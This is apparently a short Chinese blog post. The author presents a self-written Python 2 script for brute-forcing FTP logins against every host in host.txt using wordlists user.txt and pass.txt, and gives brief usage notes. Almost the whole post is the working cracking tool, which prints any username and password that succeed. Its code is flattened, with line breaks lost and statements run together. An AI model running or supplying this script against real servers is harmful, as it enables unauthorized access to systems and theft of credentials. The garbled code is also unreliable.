最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本
#!/usr/local/bin/ python
#-*- coding: UTF-8 -*-
__author__ = '' from ftplib import FTP
import ftplib from gevent.pool import Pool threads_count = 20 def read_file(filepath):
f = open(filepath).readlines()
return f def ftp_crack(args):
host = args[0]
user = args[1]
pwd = args[2] port=21
try:
ftp = ftplib.FTP()
ftp.connect(host, int(port), 2)
ftp.login(user, pwd)
ftp.retrlines('LIST')
ftp.quit()
print '\n[+] 破解成功,用户名:' + user + ' 密码:' + pwd+' ip: '+host
return True,'ftp password is '+user+':'+pwd
except ftplib.all_errors:
pass pool = Pool(threads_count)
host = read_file('host.txt')
for h in host:
h = h.replace('\n','')
pd = True
while pd:
user = read_file('user.txt')
print '\n[+] 正在破解ip: '+h
for u in user:
u = u.replace('\n','')
if u == 'uuu':
pd = False
break
passs = read_file('pass.txt')
for pas in passs:
pas = pas.replace('\n','')
pd2 = pool.map(ftp_crack,[[h,u,pas]])
try:
if pd2[0][0]:
pd = False
except:
pass
pool.join()
本地要有三个文件 user.txt , host.txt , pass.txt
user文件默认最后一个单词是uuu,因为在脚本中做了判断。
这个脚本还需要在改进,不明白多进程的用法,强行搬别人的代码过来,不知道有没有用法不对,只怕贻笑大方。